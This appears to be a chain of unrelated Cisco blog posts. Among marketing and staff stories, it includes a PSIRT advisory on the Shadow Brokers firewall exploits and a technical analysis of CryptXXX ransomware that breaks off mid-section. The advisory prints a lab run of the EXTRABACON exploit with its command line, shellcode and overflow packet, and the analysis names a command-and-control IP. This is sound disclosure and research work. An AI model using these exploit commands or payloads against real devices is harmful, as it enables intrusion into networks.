The Cisco 2016 Midyear Cybersecurity Report has been released, and just like the Cisco Annual Security Report and many other security reports the news isn’t encouraging. The very first sentence in the midyear report explains that as defenders, we simply aren’t getting the job done: “Attackers currently enjoy unconstrained time to operate.”[1]
Attackers understand that the human layer is frequently the weakest link in the security chain, and many rely on stealing passwords to gain access to the network. Already this year, the number of phishing websites has increased 250 percent since the last quarter of 2015, according to the Anti-Phishing Working Group, a global coalition of law enforcement, private organizations, and researchers.
Attackers also know that for the most part, they don’t have to use expensive zero day vulnerabilities, as many organizations are not practicing strong cyber hygiene; known vulnerabilities “can remain active and undetected for days, months, or even longer.”[2] Attackers know that they will likely have time to operate inside the target network without being detected. Once the attacker has access to a system, possibly via a phished valid username and password for an authorized user, they have the same access privileges as that user. All it takes is a user clicking on the wrong link, opening the wrong attachment, or disclosing their password to a well-crafted impersonator for their credentials to be stolen. Threat actors will go through great effort to learn about the target organization and its employees to create phishing and other social engineering methods that are incredibly difficult to identify from legitimate login screens, and once the credentials are lost, the attacker can impersonate the employee and access internal systems.
If one of your user accounts was compromised and an attacker accessed your network masquerading as a legitimate user, could you tell? How? Could you detect the attack quickly enough to prevent the exfiltration of data? Despite making strides, defenders still struggle to gain visibility into threat activity and reduce the time to detection (TTD) of both known and new threats. We need a better approach; existing strategies are not adapting to the changing tactics of the attackers.
Security analytics can help
These threat tactics are utilized specifically to take advantage of defenders’ weaknesses and bypass many authentication and signature-based detection methods. Fortunately for defenders, an attack isn’t over when access to an internal system is obtained. The attacker still needs to find the target data, retrieve it, and complete the exfiltration, which gives the defender a window of opportunity to detect and mitigate the attack before data is stolen. Defenders must adopt strategies and implement solutions that provide improved visibility and reduce the TTD.
One effective way to detect attackers operating inside your network is through behavioral analysis. Threat activity often stands out from the ordinary, even if an attacker with legitimate credentials is responsible for it. For instance, when a staff member in finance usually accesses only a few megabytes of network data a day but suddenly a system with that staff member’s username begins collecting gigabytes of files from the engineering environment, it could be a sign of hoarding data in preparation for exfiltration. Similarly, when an employee turns in their two-week notice and is suddenly responsible for a large spike in traffic to the office printer, they could be printing sensitive documents to take with them – we’ve seen these scenarios happen before.
Identifying these kinds of anomalous activities can help reduce the time to detection so that attacks can be contained before data is lost, but how can we achieve this? The first step toward behavioral analysis is network visibility. By collecting NetFlow and other forms of traffic metadata, security operators can gain valuable insight into every transaction that takes place on the network.
Like all big data, this information is relatively useless without the means to easily interact with it and the analytics to quickly separate important events from the noise of day-to-day network activity. Detecting anomalies in behavior requires developing a baseline of normal system activity, which is simply impossible to achieve manually in a large enterprise network. Security operators also need the ability to automatically detect certain behaviors, such as policy violations or common threat activities, to reduce the TTD and identify an attack, mitigate it, and prevent the data from being lost.
Use your Network as a Sensor to reduce the time to detection
Cisco’s Network as a Sensor solution gives security operators the means to detect suspicious behaviors that could signify an attack. It does so by collecting NetFlow directly from infrastructure devices such as routers, switches, and firewalls – turning the network into a powerful security sensor. Additionally, visibility can be achieved in the virtualized environments of the data center or the cloud by using the NetFlow capabilities of virtualized switches or by deploying agents onto IaaS instances.
This data is then processed and analyzed by Stealthwatch, which provides advanced threat detection and analytics. It baselines normal network traffic to identify anomalous activity for further investigation in addition to detecting a wide variety of threat activity such as network scanning or lateral movement. This data is also stored in an audit trail that retains records of all network transactions for months or even years at a time. The Identity Services Engine (ISE) provides additional contextual information to help you understand who, what, where, when, and how users and devices are using the network.
If attackers utilize compromised credentials gained via phishing or other attacks, the Network as a Sensor solution can identify when users access an abnormally large amount of data, transfer data off the corporate network, or behave in a way that is significantly different from their past activity or that of their peers. Additionally, the network audit trail functionality can help investigators retroactively determine exactly what the attackers accessed and who they communicated with over the network.
To combat advanced threats, we must detect them quicker
Today’s networks are larger and more complex than ever before, and threat actors are skilled at penetrating defenses and blending in with the normal network activity. In many cases, attackers are masquerading as legitimate employees, effectively bypassing authentication controls.
To combat these adversaries, we need network visibility and security analytics. By understanding what normal network behavior looks like and identifying deviations and suspicious activity, we can detect these threats before sensitive data is exfiltrated. Cisco’s Network as a Sensor solution provides the comprehensive visibility and advanced analytics necessary to protect your organization from sophisticated threat actors.
To learn more about how Network as a Sensor can help secure your organization, click here.
You may think I’m a crazy cat lady, who is going to go off on a pet-tangent, but I invite you to stay here with me for a moment. I’ll “purr-suade” you with my story.
I’m actually more of a crazy-about-Cisco employee. It’s because of Cisco and it’s flexible workplace technology that allowed my cat, Slick to defy the odds of a Lymphoma diagnosis.
Even if you’re not a cat person, you could replace the word “cat” with parent, sibling, dog, unicorn, narwhal, friend – whatever. The same flexibility that saved my cat could apply to anything or anyone in need of assistance.
Slick’s Lymphoma diagnosis resulted in a 16.5% chance of him seeing the year 2016. Could you imagine not being around for Cisco’s #neverbetter campaign? Neither could I. The treatment options were lengthy and of course could only occur doing the workweek. Most people would’ve had to face defeat, which would only have devastating results for Slick, and for me.
Luckily for my adorably bratty cat, I am employed by Cisco, one of the very best tech companies to work for in America according to Business Insider. Fun Fact: We have the highest rated workplace flexibility, 67% of employees are able to work remotely.
This is how we made it happen:
Weekly chemo appointments were scheduled so I could drive the hour-long commute before working hours or within lunch breaks.
UC Davis Veterinary Hospital kindly “allowed” (I kind of just took over) me to transform their waiting room into my mobile office.
Using LIFE SAVING Cisco technology like Webex, Jabber and VPN to seamlessly and securely continue my workday.
With that same Cisco technology, I was able to catch up on anything I missed outside of regular office hours, ensuring I kept my fabulous job and had a paycheck to hand over to those miracle-working veterinarians.
I am thrilled and beyond appreciative that Cisco enables me to work anytime, anywhere on any device.
Let me start by clarifying that this has nothing to do with buying or selling on social media. I am not a fan of the phrase “social selling”. This is a summary of what I have learned in my decade as a Marketer within Sales Enablement.
Cisco continues to evaluate potential implications of the activities and information posted publicly by the Shadow Brokers Group. We launched an investigation to analyze the new files posted on April 14th, 2017, and so far have not found any new vulnerabilities or exploits that affect Cisco products and services. Cisco PSIRT will continue to follow activities related to Shadow Brokers, and going forward, if any new vulnerabilities are found, they will be disclosed following our existing processes that are documented in our public security vulnerability policy: http://www.cisco.com/c/en/us/about/security-center/security-vulnerability-policy.html
On April 8, 2017, Cisco became aware of additional information posted online by the Shadow Brokers Group. Cisco launched an investigation to analyze the new files, and concluded that no new vulnerabilities were found that affect any Cisco products or services.
UPDATE September 21, 2016:
Based on the Shadow Brokers disclosure, Cisco started an investigation into other products that could potentially be impacted by a similar exploits and vulnerabilities. During further investigation of BENIGNCERTAIN, Cisco security researchers found a vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
There are no workarounds for this vulnerability. Administrators are advised to implement an intrusion prevention system (IPS) or intrusion detection system (IDS) to help detect and prevent attacks that attempt to exploit this vulnerability. The following Snort Rules and Cisco IPS signatures have been released:
Cisco has updated the security advisory for the SNMP Remote Code Execution Vulnerability (CVE-2016-6366), which addresses the EXTRABACON exploit. We have started publishing fixes for affected versions, and will continue to publish additional fixes for supported releases as they become available in the coming days.
Update: August 19,2016
On August 19th, articles were release regarding the BENIGNCERTAIN exploit potentially being used to exploit legacy Cisco PIX firewalls. Our investigation so far has not identified any new vulnerabilities in current products related to the exploit. Even though the Cisco PIX is not supported and has not been supported since 2009 (see EOL / EOS notices), out of concern for customers who are still using PIX we have investigated this issue and found PIX versions 6.x and prior are affected. PIX versions 7.0 and later are confirmed to be unaffected by BENIGNCERTAIN. The Cisco ASA is not vulnerable.
Just as technology advances, so too do the nature and sophistication of attacks. Prolonging the use of older technology exponentially increases risk. That said, we are deeply concerned with anything that may impact the integrity of our products or our customers’ networks, and Cisco remains steadfast in the position that we should be notified of all vulnerabilities if they are found. We look to defend our customers against attacks from any source, and our preventative technology and processes to investigate and fix vulnerabilities are industry-leading.
Examples of our commitment to our customers include: Trustworthy Systems initiatives, Cisco Secure Lifecycle, Cisco Common Crypto models, and the PSIRT process for evaluating and disclosing vulnerabilities. Our focus now is on today’s products, those that are more advanced and better suited to highly secure operation in today’s increasingly advanced threat landscape.
On August 15th, 2016, Cisco was alerted to information posted online by the “Shadow Brokers”, which claimed to possess disclosures from the Equation Group. The files included exploit code that can be used against multi-vendor devices, including the Cisco ASA and legacy Cisco PIX firewalls.
The Cisco Product Security Incident Response Team (PSIRT) has published an event response page (ERP) and the following security advisories addressing the vulnerabilities that could be exploited by the code released by the “Shadow Brokers”:
The Cisco ASA CLI Remote Code Execution Vulnerability was addressed in a defect fixed in 2011. We have issued a formal Security Advisory to increase its visibility with our customers so they can ensure they are running software versions that defend against the exploit Shadow Broker has shared.
The Shadow Brokers’ post was offering to auction off the stolen data in exchange for a payment reaching one million Bitcoins. A small sample of the allegedly stolen files were released and are dated around 2013 or older. These files included different directories with the following exploits:
There were three references to exploits that affect Cisco ASA, Cisco PIX, and Cisco Firewall Services Module: EXTRABACON, EPICBANANA, and JETPLOW.
The following figure lists each exploit and related vulnerabilities.
EXTRABACON
The EXTRABACON exploit targets a buffer overflow vulnerability in the SNMP code of the Cisco ASA, Cisco PIX, and Cisco Firewall Services Module. Please refer to the Cisco Security Advisory documenting CVE-2016-6366 for a complete list of affected products. An attacker could exploit this vulnerability by sending crafted SNMP packets to an affected Cisco product.
The following figure illustrates how the exploit works.
A few facts about the EXTRABACON exploit and vulnerability:
SNMP must be configured and enabled in the interface which is receiving the the SNMP packets. In the example above SNMP is only enabled in the management interface of the Cisco ASA. Subsequently, the attacker must launch the attack from a network residing on that interface. Crafted SNMP traffic coming from any other interface (outside or inside) cannot trigger this vulnerability.
The SNMP community string needs to be known by the attacker in order to exploit this vulnerability.
Only traffic directed to the affected system can be used to exploit this vulnerability.
This vulnerability affects systems configured in routed and transparent firewall mode only and in single or multiple context mode.
This vulnerability can be triggered by IPv4 traffic only.
All supported versions of SNMP (v1, v2c, and 3) are affected by this vulnerability.
This exploit could allow the attacker to execute arbitrary code and obtain full control of the system or to cause a reload of the affected system.
All Cisco ASA Software releases are affected.
You can configure the Cisco ASA and any other firewalls to send SNMP traps, which are messages from the managed device to a network management system (NMS) for certain events. You can also use the NMS to browse the MIBs on the firewall. SNMP uses two fundamental concepts Management Information Base (MIB) and Object Identifier (OIDs). MIBs are a collection of definitions, and network devices such as firewalls, maintain a database of values for each definition. Browsing a MIB means issuing a series of GET-NEXT or GET-BULK requests of the MIB tree from the NMS to determine values.
The Cisco ASA and other firewalls have an SNMP agent that notifies designated management stations if events occur that are predefined to require a notification. For instance, when a link in the network goes up or down. The notification it sends includes an SNMP OID, which identifies itself to the management stations. The firewall SNMP agent also replies when a management station asks for information.
As mentioned earlier, in order for this exploit to be successful the affected device must be configured for SNMP with the snmp-server enable command.
omar@omar-io:~$ ./extrabacon_1.1.0.1.py -h
Logging to /home/omar/concernedparent
usage: extrabacon_1.1.0.1.py [-h] [-v] [-q] {info,exec} ...
Extrabacon (version 1.1.0.1)
positional arguments:
{info,exec}
optional arguments:
-h, --help show this help message and exit
-v, --verbose verbose logging, add more -v for more verbose logging
-q, --quiet minimize logging (not recommended)
In the following example, I am launching the exploit against the management interface (which has SNMP enabled) to a Cisco ASA in the lab (192.168.1.66). The ASA was configured for SNMPv2 with the community string of “cisco”.
omar@omar-io:~$ ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable
WARNING: No route found for IPv6 destination :: (no default route?)
Logging to /home/omar/concernedparent
[+] Executing: ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable
[+] running from /home/omar
Data stored in self.vinfo: ASA803
[+] generating exploit for exec mode pass-enable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa803
[+] building payload for mode pass-enable
appended PMCHECK_ENABLE payload eb14bf7082090931c9b104fcf3a4e92f0000005e
ebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80
appended AAAADMINAUTH_ENABLE payload eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8ffffff5
589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80
[+] random SNMP request-id 425297185
[+] fixing offset to payload 49
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165.165.165.165.131.236.
4.137.4.36.137.229.131.197.88.4
*** output omitted ****
44.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144
payload (133): eb14bf7082090931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531
f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8fff
fff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3
EXBA msg (371): 3082016f0201010405636973636fa58201610204195985210201000201013082015130819106072b0601020101010
*** output omitted ****
0811081108110811081108110811081108110810d7b810309810b7c2414810b07817f816081100500
[+] Connecting to 192.168.1.66:161
[+] packet 1 of 1
[+] 0000 30 82 01 6F 02 01 01 04 05 63 69 73 63 6F A5 82 0..o.....cisco..
[+] 0010 01 61 02 04 19 59 85 21 02 01 00 02 01 01 30 82 .a...Y.!......0.
[+] 0020 01 51 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .Q0....+........
[+] 0030 85 EB 14 BF 70 82 09 09 31 C9 B1 04 FC F3 A4 E9 ....p...1.......
[+] 0040 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 31 C0 89 /...^.......U1..
[+] 0050 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 AC ..........1...%.
[+] 0060 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 A5 31 .1......1......1
[+] 0070 FA CD 80 EB 14 BF B0 60 06 08 31 C9 B1 04 FC F3 .......`..1.....
[+] 0080 A4 E9 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 89 ../...^.......U.
...
###[ SNMP ]###
version = v2c
community = 'cisco'
\PDU \
|###[ SNMPbulk ]###
| id = <ASN1_INTEGER[425297185]>
| non_repeaters= 0
| max_repetitions= 1
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.1']>
| | value = <ASN1_STRING['\xeb\x14\xbfp\x82\t\t1\xc9\xb1\x04\xfc\xf3\xa4\xe9/\x00
\x00\x00^\xeb\xec\xe8\xf8\xff\xff\xffU1\xc0\x89\xbf\xa5\xa5\xa5\xa5\xb8\xd8\xa5\xa5\
xa51\xf8\xbb\xa5%\xac\xac1\xfb\xb9\xa5\xb5\xa5\xa51\xf9\xba\x....
*** output omitted ****
\xa5\xa51\xf9\xba\xa0\xa5\xa5\xa51\xfa\xcd\x80\xc3']>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165
.165.165.165.131.236.4.137.4.36.137.229
*** output omitted ****
44.144.144.144.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144']>
| | value = <ASN1_NULL[0]>
****************************************
[-] timeout waiting for response - performing health check
[-] no response from health check - target may have crashed
[-] health check failed
Keep in mind, that in order for the exploit to be successful you must know the SNMP community string and source the packets from a host defined within the snmp-server command. For example:
omar-asa5506(config)# snmp-server host mgmt 192.168.1.100 version 2
In my example, I launched the exploit against a Cisco ASA 5506 running version 9.4(1). The exploit caused the ASA to crash with the following traceback.
The EPICBANANA exploit leverages the vulnerability documented in CVE-2016-6367 and could allow an authenticated attacker to create a denial of service (DoS) condition or potentially execute arbitrary code. An attacker could exploit this vulnerability by invoking certain invalid commands in an affected device. The attacker must know the telnet or SSH password in order to successfully exploit an affected device.
The vulnerability (CVE-2016-6367) leveraged by the EPICBANANA exploit has been fixed since Cisco ASA version 8.4(3).
The following are the different options of the EPICBANANA malware:
bash-3.2$ ./epicbanana_2.1.0.1.py -h
Usage: epicbanana_2.1.0.1.py [options]
EPICBANANA
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-t TARGET_IP, --target_ip=TARGET_IP
target IP (REQUIRED)
--proto=PROTO target protocol "telnet" or "ssh" (REQUIRED)
--ssh_cmd=SSH_CMD path to ssh (default /usr/bin/ssh)
--ssh_opts=SSH_OPTS extra flags to pass to ssh, quoted (ex: "-v" or "-v -1
-c des")
--username=USERNAME default = pix (optional)
--password=PASSWORD (REQUIRED)
--delay=DELAY pause time between sending commands, default 1.0
seconds
--timeout=TIMEOUT time to wait for responses, default 20.0 seconds
--target_vers=TARGET_VERS
target Pix version (pix712, asa804) (REQUIRED)
--versdir=VERSDIR where are the EPBA version-specific files? (./versions
subdir default)
--mem=MEMORY target Pix memory size (64M, 1024M) (REQUIRED for
pix/asa7, ASA for asa 8+)
--payload=PAYLOAD BM or nop (BM default)
-p DEST_PORT, --dest_port=DEST_PORT
defaults: telnet=23, ssh=22 (optional)
--pretend system check, prep everything but don't fire exploit
-v verbose mode (default, recommended)
--debug debug mode (too much)
-q quiet mode (suppress verbose)
The EPICBANANA malware has built in functionality to connect to an affected device via telnet or SSH. The attacker must source the attack from an IP address that is allowed by the ssh or telnet commands in the Cisco ASA. This is why it is a best practice to only allow SSH or telnet connections from trusted sources and on certain interfaces only (such as the management interface).
The following are the files included and used by the exploit:
The EPICBANANA malware leverages Pexpect, which is a Python module for spawning child applications and controlling them automatically. Pexpect is typically used for automating interactive applications such as SSH, FTP, Telnet, and others. Pexpect can be used by users to a automate setup scripts for duplicating software package installations on different servers.
JETPLOW
JETPLOW is a persistent implant of EPICBANANA. Digitally signed Cisco software is signed using secure asymmetrical (public-key) cryptography in newer platforms prevents these types of attacks. The purpose of digitally signed Cisco software is to increase the security posture of Cisco ASA devices by ensuring that the software running on the system has not been tampered with and originated from a trusted source as claimed.
Cisco Secure Boot also mitigates this issue. Cisco Secure Boot is a secure startup process that the Cisco device performs each time it boots up. Beginning with the initial power-on, special purpose hardware verifies the integrity of the first software instructions that execute and establishes a chain of trust for the ROMMON code and the Cisco ASA image via digital signatures as they are loaded. If any failures are detected, the user is notified of the error and the device will wait for the operator to correct the error. This prevents the network device from executing compromised software.
Integrity Assurance
This document describes ways to verify that the software on a Cisco firewall running Cisco ASA Software, both in device storage and in running memory, has not been modified. Additionally, the document presents common best practices that can aid in protecting against attempts to inject malicious software (also referred to as malware) in a device running Cisco ASA Software. This document applies only to Cisco ASA Software and to no other Cisco operating systems. This document does not apply to any of the service modules running within the Cisco ASA device.
Providing Wi-Fi has always been a land-grab for operators: making sure your service is available in all the locations you can – before your competitors get there first. And service providers have always faced a strong competitive demand to differentiate themselves from others. Here are some ways for operators to do that today:
Easier connections
Cisco now offers solutions that provide smartphone users with much easier connectivity, completely transparently, using EAP-SIM or Passpoint, as well as ANDSF when you want to have users always connected to the best available radio network around them. This makes a big difference in terms of user satisfaction and eventually increases data consumption on all networks.
More precision
There has been another major advance in terms of access points. Now there’s much more granularity of presence and location, so you can target location-based services much more precisely. In fact, some Cisco solutions offer precision right down to as little as one metre.
Because of the greater access to Wi-Fi network data, it’s possible to get a better overview and understand the network better in real-time. That means that the Wi-Fi network can be much more optimized with regard to the spectrum channels being used.
In addition, technologies are now available so that the network is self-optimizing in real time. Which means less network engineering resource and a better experience for the users. With Cisco CleanAir technology, your can even achieve a self-healing wireless network that automatically changes channels when jammed by interference. The system uses silicon-level intelligence to identify over 20 types of interference from sources like microwaves and wireless CCTV cameras. Then it remembers these sources so that administrators know which channels to avoid in future and which to use.
Watch Video interview from Cisco Expert in Wi-Fi here:
Across the globe, digitization is taking hold in care delivery. Yet as healthcare providers break new ground with technology, they recognize the critical importance of security and patient privacy. Read the latest Cisco Connected Health newsletter to learn how leading healthcare organizations are managing to do both.
Case Study: Ochsner Health Systems
Transforming communications to simplify HIPAA and PCI compliance while limiting the impact of a potential breach.
Catching up on the feats and achievements of your favorite Asian athletes at the Rio Olympics?, Thanks to the power of over-the-top (OTT) content streaming, sports fans in Asia Pacific are able to catch the live sporting action at all hours of the day — very often beamed directly to their smartphones, while they are traveling for work.
Welcome to the new arena of competition for service providers, where the sheer ubiquity of connected devices is fast shaping the way data services are being delivered to mobile subscribers.
Putting Asia’s mobile economy into perspective
The findings from our most recent Visual Networking Index (VNI) Forecast affirm that mobile networking is critical to meeting the consumer demands of tomorrow. In Asia Pacific, mobile video traffic will grow 12-fold between 2015 and 2020, a robust compound annual growth rate (CAGR) of 64%, as compared To the overall IP traffic growth of 26% CAGR.
Our mobile data and video traffic forecast is in line with the latest GSMA Mobile Economy 2016 report. According to the report, the mobile subscriber base in Asia Pacific — the world’s largest region in terms of subscribers — reached 2.5 billion at the end of 2015. Driven by the shift to faster networks and more advanced services, mobile subscription will grow at an annual average rate of more than 10%, on pace to add another 600 million new subscribers between now and 2020.
The pace of growth is even more pronounced in the region’s emerging economies, such as India, where mobile data traffic grew by a staggering 89% in 2015. In fact, GSMA predicts that India alone will add nearly 250 million new mobile subscribers by 2020.
While Asia’s mobile revolution spells new opportunities, the challenge for operators is to find new ways to monetize the increasing data traffic and unlock higher ARPU in price-sensitive markets, while having to cater for the next wave of mobile broadband deployments. Let’s take a closer look at the key developments that service providers need to consider to craft a winning mobile strategy for growth.
Keeping up with mobile user expectations
With mobile device usage on the rise and expected to drive the majority of IP traffic, operators in Asia can set themselves apart by delivering superior levels of mobile network performance.
A key consideration is that mobile subscribers today value access to data significantly more than voice services. This means they expect to have immediate access to high-bandwidth services such as high-definition (HD) content via their smartphones, and operators are challenged to manage the impact of this demand. From “cord-cutting” households that consume increasing amounts of data to the need for bandwidth to accommodate internet gaming and even virtual reality applications, service providers can rise to the occasion by delivering mobile services in a reliable manner.
Going deeper into this trend, video content will continue having the greatest impact on mobile network demands. According to the Cisco VNI projections, mobile video traffic will increase 12-fold over the next five years to account for 75% of Asia Pacific’s overall mobile data traffic in 2020.
With greater video quality, come greater media delivery and network demands. As consumers continue to drive up demand for advanced video services such as video-on-demand (VOD) and Ultra HD (UHD) content via mobile, network speed, convenience and price become key factors for service provider success and profitability.
Operators need to consider how to deliver video content more efficiently, and they are increasingly turning to content delivery networks (CDN) as a means of delivering a whole new experience for mobile subscribers.
Globally, CDNs will carry 62% of total Internet traffic by 2020. By distributing local content caching and multiscreen platforms toward the edge of their network, operators can reduce the bandwidth requirements for delivering growing volumes of IP video content, while providing customers the enhanced viewing experiences they desire. Operators can also monetize this mode of content distribution by offering scalable, “wholesale” CDN services to their content provider partners.
March towards 5G continues apace
Broadband speed improvements are key enablers for service providers to accommodate mobile consumption of video content and applications, and to reduce customer churn.
At the same time, high speed networks are also integral to supporting the next wave of software-defined data centers, allowing IT organizations to deliver cloud-like services to both internal users and end customers. Here is where network virtualization and cloud-based technology models can give service providers the added flexibility to deliver mobile-optimized experiences to both consumers and business users in a cost-effective manner.
Looking ahead, the transition to higher speed 4G and next-generation 5G networks is pivotal to enabling better network performance, enhancing user experiences while lowering the network TCO.
In Asia Pacific, 4G connections will represent up to 74.7% of total mobile data traffic by 2020 (compared to 52.4% in 2015). As the rollout and adoption of 4G networks accelerate, service providers need to look to how 5G-ready virtualized mobile networks will address future demand for greater capacity and network scalability and lower cost..
The road to 5G is paved with new opportunities and challenges: A winning strategy for service providers would be start collaborating with technology partners to conduct 5G field trials, and examine how your network architecture can be sufficiently upgraded to drive service innovation and reduce churn through greater subscriber satisfaction.
Let the “games” begin. Catch up with the latest insights and more expert perspectives on how the mobile economy is ready for takeoff by downloading your copy of the VNI APJ EBook.
In our previous post we discussed the AMP ThreatGrid Research and Efficacy Team’s continuous support for Ransomware attack vectors, generic behavior detection of un-discovered variants, and the creation of behavioral indicators once new variants are identified. In this post we’ll be discussing one of the more prevalent variants to surface in the wake of TeslaCrypt’s death: CryptXXX.
CryptXXX has been notably dropped by Angler and Neutrino exploit kits in recent months and continues to evolve. This post provides a technical deep dive that discusses CryptXXX’s obfuscation, execution, and evolving cryptographic mechanisms. We will then discuss AMP ThreatGrid’s detection of this threat.
1.0 Unpacking:
During the initial analysis of the v2.006 binary we found it peculiar that an entry-point was being provided that did not exist in the packed PE, but when providing an entry-point that we observed during dynamic analysis (a subsequent call to the same DLL with a new entry point was being made with rundll32.exe) the binary executed properly. The reason that this can occur is that the DLL entry-point (in this case the unpacking stub) is called regardless of the provided entry-point each run, which in turn can replace the PE image with that of the unpacked code containing the malicious entry-point for core functionality, which is then looked up and subsequently called by rundll32.exe. The following is an example of the packed entry-point “MXS1” being called that was observed during dynamic analysis:
Figure 1.0: Packed entry-point being called during dynamic analysis
Figure 2.0: Depiction of DLL overwrite process exposing entry-point to jump to.
While observing the unpacking code for v2.006 and setting a breakpoint on VirtualAlloc we found that a PE header was being referenced by a registry in memory:
Figure 3.0: Registry reference to PE and MZ header in memory on call to VirtualAlloc
Jumping to this address we can see that it is indeed a PE header:
Figure 4.0: PE header at memory location pointed to by registry
Dumping this and removing preceding bytes leading up to the MZ header yields a clean PE, which can be disassembled accordingly.
CryptXXX v 3.0 has similar unpacking functionality, but requires a few extra steps. A simple approach to unpacking this sample is knowing an API function that is called once the file is fully unpacked, observing where it is being called from, and finally attempting to retrieve the image that is being written to the memory layout once it is fully unpacked. Since they are calling CreateProcessW to spawn multiple instances of rundll32.exe to load this DLL we can set a hardware breakpoint on the entry-point of this function with a debugger. Once the breakpoint is hit, we know we are in unpacked code (this will not always be the case for all malware samples), and from the call to this API we can see the address we are returning into, and therefore what segment contains unpacked code:
Figure 5.0: Registry reference to PE and MZ header in memory on call to VirtualAlloc
If we open the memory layout we can see that this is the CODE segment that is in memory when the DLL is initially loaded. If we restart the execution and set a memory write breakpoint on this segment we break on a section that is writing a value within ECX into our code segment:
Figure 6.0: Writing value of ECX into CODE segment
This value appears to be a memory address, and if we jump to this address, it is indeed valid. If we navigate to the top of the segment, and search for a common PE term we can find a PE header, we can dump and remove residual bytes leading up to the MZ header for a valid PE:
Figure 7.0: Search result for common PE header term
2.0 Obfuscation
2.1 String Obfuscation
Upon opening the binary in a disassembler it is very apparent that strings used throughout the binary are obfuscated, but are all are being set as the second parameter to a single function:
Figure 8.0: Obfuscated string references
For each call made to the function, one of the parameters happens to be 0xE. In this instance the binary happens to be a Borland Delphi executable, which makes use of the Borland Fastcall calling convention, which uses EAX for the first parameter being passed to a function. Considering how often XOR encryption is used for obfuscation, let’s check for this first:
Figure 9.0: De-obfuscation of XOR encoded data using Interactive Ruby Shell
Using the Interactive Ruby Shell we XOR each byte in the obfuscated string with 0xE, which in turn gives us a valid output. In this case it appears that they are looking for avp.exe, a Kaspersky anti-virus process, in memory. In order to apply this de-obfuscation routine to every obfuscated string referencing this function we can use IDAPython. The following script will satisfy our needs:
Figure 10.0: IDAPython for automated de-obfuscation of strings
We can loop through all cross-references to the de-obfuscation function (in this case 0x9CDC74), get the address of each obfuscated string, de-obfuscate it, and comment the string address and each call to the de-obfuscation function with the resulting string.
Figure 11.0: Resulting string comments from IDA Python de-obfuscation script
As seen from the above de-obfuscated strings, the ransom note is shipped with the binary itself, unlike other variants that reach out to Command and Control servers to fetch the ransomware notes and other content.
2.2 Command and Control IP Addresses
Throughout the analysis there are multiple references to the ‘send’ socket API, and on checking cross-references to this function there are calls to setup the socket and sockaddr objects for the connection which are passed the result of another call:
Figure 12.0: Network connection functions
This function is provided a large integer value (0x990D17D9) in network byte order and a pointer argument that points to a resulting IP address. The function derives the IP address from this integer value by iterating over each byte in memory, turning its numeric representation into a string, and concatenating the result with ‘.’. This is not technically obfuscation, but the IP addresses are not immediately apparent during initial phases of analysis. These values can be converted in the following manner using C:
Figure 13.0: C code for deriving IP address from integer value
Which in this case produces 217.23.13.153, which when searched for in AMP ThreatGrid we can see all samples that have reached out to this IP address:
Figure 14.0: Search results for IP address in AMP ThreatGrid
If we navigate to the entity page for this IP address we can see this has also been tagged by the Snort side system that the Research & Efficacy Team has created to process all network traffic associated with the sample analysis.
Figure 15.0: IP address entity page in AMP ThreatGrid
These tags identify that this IP address has been used by traffic matching CryptXXX.
3.0 Execution
As mentioned, CryptXXX makes heavy use of packed entry points to perform different tasks, separating the overall execution flow into multiple spawned processes of a copied version of rundll32.exe. In v2.006 rundll32.exe is copied to the current location of the executing binary, and is renamed svchost.exe. In v3.0 it copies the executable but does not rename it. After the unpacking stub finishes, the unpacked entry-point will be executed and check what executable it is being executed from, if it does not correspond to the respective copied name (svchost.exe, or rundll32.exe) it will execute the ‘setup’ entry-point (in the case of v2.006 MS111, and v3.0 MXS0) that initiates the execution flow, whose process tree ends up looking like this:
Figure 16.0: Example resulting execution tree for CryptXXX
For this post we will be analyzing the execution path that performs the encryption of files.
4.0 Encryption
CryptXXX targets a subset of file extensions to encrypt, which are searched for recursively throughout the system. These extensions are de-obfuscated using the same XOR routine, and are passed off for encryption. These include:
The following algorithm generates a 64-byte ASCII key:
Figure 19.0: CryptXXX key generation algorithm
It is important to make note that they’re requesting a new seed for every new file encrypted and that seed is based purely on system time, which is then used to seed RandInt that is called for the generation of each part of this key (more on this later).
This key is then used within a key scheduling algorithm to create a key stream that is similar to RC4. The following code is a re-implementation of the key scheduling algorithm in C:
Finally, once the key stream is created, it is used to encrypt the data blob provided:
Figure 21.0: CryptXXX encryption algorithm
A public key that is shipped with the binary is then used to encrypt the generated key, and the resulting ciphertext is then appended to the encrypted file:
Figure 22.0: Encryption of generated key using shipped public key
4.1.3 CryptXXX v3.0 Encryption Changes
A number of changes to encryption scheme were made for v3.0 of CryptXXX. The first is network share enumeration and encryption:
Figure 23.0: CryptXXX v. 3.0 network share enumeration for encryption
